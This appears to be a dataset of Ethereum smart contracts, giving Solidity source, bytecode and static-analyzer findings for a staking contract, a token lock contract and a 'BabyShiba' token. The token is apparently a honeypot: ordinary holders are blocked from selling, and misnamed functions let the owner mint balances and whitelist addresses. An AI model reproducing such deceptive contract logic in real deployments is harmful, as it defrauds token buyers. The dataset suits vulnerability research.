mapping (address => uint) public totalEarnedTokens;
/*=============================ADMINISTRATIVE FUNCTIONS ==================================*/
function setTokenAddresses(address _tokenAddr) public onlyOwner returns(bool){
require(_tokenAddr != address(0), "Invalid address format is not supported");
tokenAddress = _tokenAddr;
}
function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){
stakingFeeRate = _stakingFeeRate;
unstakingFeeRate = _unstakingFeeRate;
}
function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){
rewardRate = _rewardRate;
}
function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){
FundedTokens = _poolreward;
}
function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){
PossibleUnstakeTime = _possibleUnstakeTime;
}
function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){
rewardInterval = _rewardInterval;
}
function allowStaking(bool _status) public onlyOwner returns(bool){
require(tokenAddress != address(0), "Interracting token address is not yet configured");
stakingStatus = _status;
}
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getFundedTokens()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
function updateAccount(address account) private {
uint unclaimedDivs = getUnclaimedDivs(account);
if (unclaimedDivs > 0) {
require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs);
totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs);
emit RewardsTransferred(account, unclaimedDivs);
}
lastClaimedTime[account] = now;
}
function getUnclaimedDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint unclaimedDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return unclaimedDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function plant(uint amountToStake) public {
require(stakingStatus == true, "Staking is not yet initialized");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(tokenAddress).transfer(admin, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function unplant(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(tokenAddress).transfer(admin, fee), "Could not transfer withdraw fee.");
require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function reap() public {
updateAccount(msg.sender);
}
function getFundedTokens() public view returns (uint) {
if (totalClaimedRewards >= FundedTokens) {
return 0;
}
uint remaining = FundedTokens.sub(totalClaimedRewards);
return remaining;
}
}
|
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80639d76ea58116100f9578063d816c7d511610097578063f3073ee711610071578063f3073ee714610433578063f3f91fa014610452578063f476352814610478578063f851a44014610495576101c4565b8063d816c7d5146103fd578063f1587ea114610405578063f2fde38b1461040d576101c4565b8063c326bf4f116100d3578063c326bf4f146103aa578063c383e22b146103d0578063c72896ac146103ed578063d578ceab146103f5576101c4565b80639d76ea5814610361578063bec4de3f14610385578063c0a6d78b1461038d576101c4565b80634908e386116101665780636270cd18116101405780636270cd18146102f35780636654ffdf146103195780636a395ccb146103215780637b0a47ee14610359576101c4565b80634908e386146102a8578063583d42fd146102c55780635ef057be146102eb576101c4565b8063308feec3116101a2578063308feec31461025857806337c5785a146102605780633844317714610283578063455ab53c146102a0576101c4565b8063069ca4d0146101c95780630d2adb90146101fa5780631e94723f14610220575b600080fd5b6101e6600480360360208110156101df57600080fd5b503561049d565b604080519115158252519081900360200190f35b6101e66004803603602081101561021057600080fd5b50356001600160a01b03166104be565b6102466004803603602081101561023657600080fd5b50356001600160a01b031661053f565b60408051918252519081900360200190f35b6102466105f8565b6101e66004803603604081101561027657600080fd5b508035906020013561060a565b6101e66004803603602081101561029957600080fd5b503561062e565b6101e661064f565b6101e6600480360360208110156102be57600080fd5b5035610658565b610246600480360360208110156102db57600080fd5b50356001600160a01b0316610679565b61024661068b565b6102466004803603602081101561030957600080fd5b50356001600160a01b0316610691565b6102466106a3565b6103576004803603606081101561033757600080fd5b506001600160a01b038135811691602081013590911690604001356106a9565b005b610246610783565b610369610789565b604080516001600160a01b039092168252519081900360200190f35b610246610798565b6101e6600480360360208110156103a357600080fd5b503561079e565b610246600480360360208110156103c057600080fd5b50356001600160a01b03166107bf565b610357600480360360208110156103e657600080fd5b50356107d1565b610357610ac7565b610246610ad2565b610246610ad8565b610246610ade565b6103576004803603602081101561042357600080fd5b50356001600160a01b0316610b12565b6101e66004803603602081101561044957600080fd5b50351515610b97565b6102466004803603602081101561046857600080fd5b50356001600160a01b0316610c0b565b6103576004803603602081101561048e57600080fd5b5035610c1d565b610369610f21565b600080546001600160a01b031633146104b557600080fd5b60039190915590565b600080546001600160a01b031633146104d657600080fd5b6001600160a01b03821661051b5760405162461bcd60e51b81526004018080602001828103825260278152602001806112d56027913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b03939093169290921790915590565b600061054c600a83610f30565b610558575060006105f3565b6001600160a01b0382166000908152600c602052604090205461057d575060006105f3565b6001600160a01b0382166000908152600e60205260408120546105a1904290610f4e565b6001600160a01b0384166000908152600c602052604081205460035460025493945090926105ed91612710916105e79190829088906105e1908990610f60565b90610f60565b90610f80565b93505050505b919050565b6000610604600a610f95565b90505b90565b600080546001600160a01b0316331461062257600080fd5b60049290925560055590565b600080546001600160a01b0316331461064657600080fd5b60089190915590565b60095460ff1681565b600080546001600160a01b0316331461067057600080fd5b60029190915590565b600d6020526000908152604090205481565b60045481565b600f6020526000908152604090205481565b60065481565b6000546001600160a01b031633146106c057600080fd5b6001546001600160a01b03848116911614156106fb576106de610ade565b8111156106ea57600080fd5b6007546106f79082610fa0565b6007555b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561075257600080fd5b505af1158015610766573d6000803e3d6000fd5b505050506040513d602081101561077c57600080fd5b5050505050565b60025481565b6001546001600160a01b031681565b60035481565b600080546001600160a01b031633146107b657600080fd5b60069190915590565b600c6020526000908152604090205481565b60095460ff16151560011461082d576040805162461bcd60e51b815260206004820152601e60248201527f5374616b696e67206973206e6f742079657420696e697469616c697a65640000604482015290519081900360640190fd5b60008111610882576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b1580156108dc57600080fd5b505af11580156108f0573d6000803e3d6000fd5b505050506040513d602081101561090657600080fd5b5051610959576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b61096233610faf565b600061097f6127106105e760045485610f6090919063ffffffff16565b9050600061098d8383610f4e565b600154600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b1580156109e957600080fd5b505af11580156109fd573d6000803e3d6000fd5b505050506040513d6020811015610a1357600080fd5b5051610a66576040805162461bcd60e51b815260206004820152601f60248201527f436f756c64206e6f74207472616e73666572206465706f736974206665652e00604482015290519081900360640190fd5b336000908152600c6020526040902054610a809082610fa0565b336000818152600c6020526040902091909155610a9f90600a90610f30565b610ac257610aae600a33611143565b50336000908152600d602052604090204290555b505050565b610ad033610faf565b565b60075481565b60055481565b600060085460075410610af357506000610607565b6000610b0c600754600854610f4e90919063ffffffff16565b91505090565b6000546001600160a01b03163314610b2957600080fd5b6001600160a01b038116610b3c57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b03163314610baf57600080fd5b6001546001600160a01b0316610bf65760405162461bcd60e51b81526004018080602001828103825260308152602001806112fc6030913960400191505060405180910390fd5b6009805460ff19169215159290921790915590565b600e6020526000908152604090205481565b336000908152600c6020526040902054811115610c81576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b600654336000908152600d6020526040902054610c9f904290610f4e565b11610cdb5760405162461bcd60e51b815260040180806020018281038252603b81526020018061129a603b913960400191505060405180910390fd5b610ce433610faf565b6000610d016127106105e760055485610f6090919063ffffffff16565b90506000610d0f8383610f4e565b600154600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610d6b57600080fd5b505af1158015610d7f573d6000803e3d6000fd5b505050506040513d6020811015610d9557600080fd5b5051610de8576040805162461bcd60e51b815260206004820181905260248201527f436f756c64206e6f74207472616e73666572207769746864726177206665652e604482015290519081900360640190fd5b6001546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b158015610e3c57600080fd5b505af1158015610e50573d6000803e3d6000fd5b505050506040513d6020811015610e6657600080fd5b5051610eb9576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b336000908152600c6020526040902054610ed39084610f4e565b336000818152600c6020526040902091909155610ef290600a90610f30565b8015610f0b5750336000908152600c6020526040902054155b15610ac257610f1b600a33611158565b50505050565b6000546001600160a01b031681565b6000610f45836001600160a01b03841661116d565b90505b92915050565b600082821115610f5a57fe5b50900390565b6000828202831580610f7a575082848281610f7757fe5b04145b610f4557fe5b600080828481610f8c57fe5b04949350505050565b6000610f4882611185565b600082820183811015610f4557fe5b6000610fba8261053f565b90508015611126576001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561101857600080fd5b505af115801561102c573d6000803e3d6000fd5b505050506040513d602081101561104257600080fd5b5051611095576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b0382166000908152600f60205260409020546110b89082610fa0565b6001600160a01b0383166000908152600f60205260409020556007546110de9082610fa0565b600755604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152600e60205260409020429055565b6000610f45836001600160a01b038416611189565b6000610f45836001600160a01b0384166111d3565b60009081526001919091016020526040902054151590565b5490565b6000611195838361116d565b6111cb57508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610f48565b506000610f48565b6000818152600183016020526040812054801561128f578354600019808301919081019060009087908390811061120657fe5b906000526020600020015490508087600001848154811061122357fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061125357fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610f48565b6000915050610f4856fe596f752068617665206e6f74207374616b656420666f722061207768696c65207965742c206b696e646c792077616974206120626974206d6f7265496e76616c6964206164647265737320666f726d6174206973206e6f7420737570706f72746564496e74657272616374696e6720746f6b656e2061646472657373206973206e6f742079657420636f6e66696775726564a2646970667358221220f18240bea992b169593f74cbe4b31156aa05c8a0b30886aed0d4b931c20beebb64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,107 |
0x20e90fc085d767f33233c44a75a725cc4c1230c3
|
/**
*Submitted for verification at Etherscan.io on 2021-07-06
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BabyShiba {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a723158207316fc951c329d6d64c4f6d6d45cbe643de158f84af6103774ff94a430019c6f64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 6,108 |
0xd14f2f1e32e2dd4c17dfa27f1393815674e2ada2
|
pragma solidity ^0.5.17;
contract DipManager {
using SafeMath for uint256;
using SafeERC20 for IERC20;
event TokenLocked(address indexed from, string to, uint256 amount);
mapping(address => mapping(string => uint256)) public lockInfo;
address public erc20Addr;
constructor(address addr) public {
erc20Addr = addr;
}
function LockToken(string memory dipAddr, uint256 amount) public {
require(bytes(dipAddr).length == 42, "dipAddr must 42 bytes length");
string memory s = substring(dipAddr, 0, 3);
require(keccak256(bytes("dip")) == keccak256(bytes(s)), "dipAddr must start with dip");
IERC20 dipERC20 = IERC20(erc20Addr);
dipERC20.safeTransferFrom(msg.sender, address(this), amount);
lockInfo[msg.sender][dipAddr] = lockInfo[msg.sender][dipAddr].add(amount);
emit TokenLocked(msg.sender, dipAddr, amount);
}
function substring(string memory str, uint startIndex, uint endIndex) public pure returns (string memory) {
bytes memory strBytes = bytes(str);
bytes memory result = new bytes(endIndex-startIndex);
for(uint i = startIndex; i < endIndex; i++) {
result[i-startIndex] = strBytes[i];
}
return string(result);
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
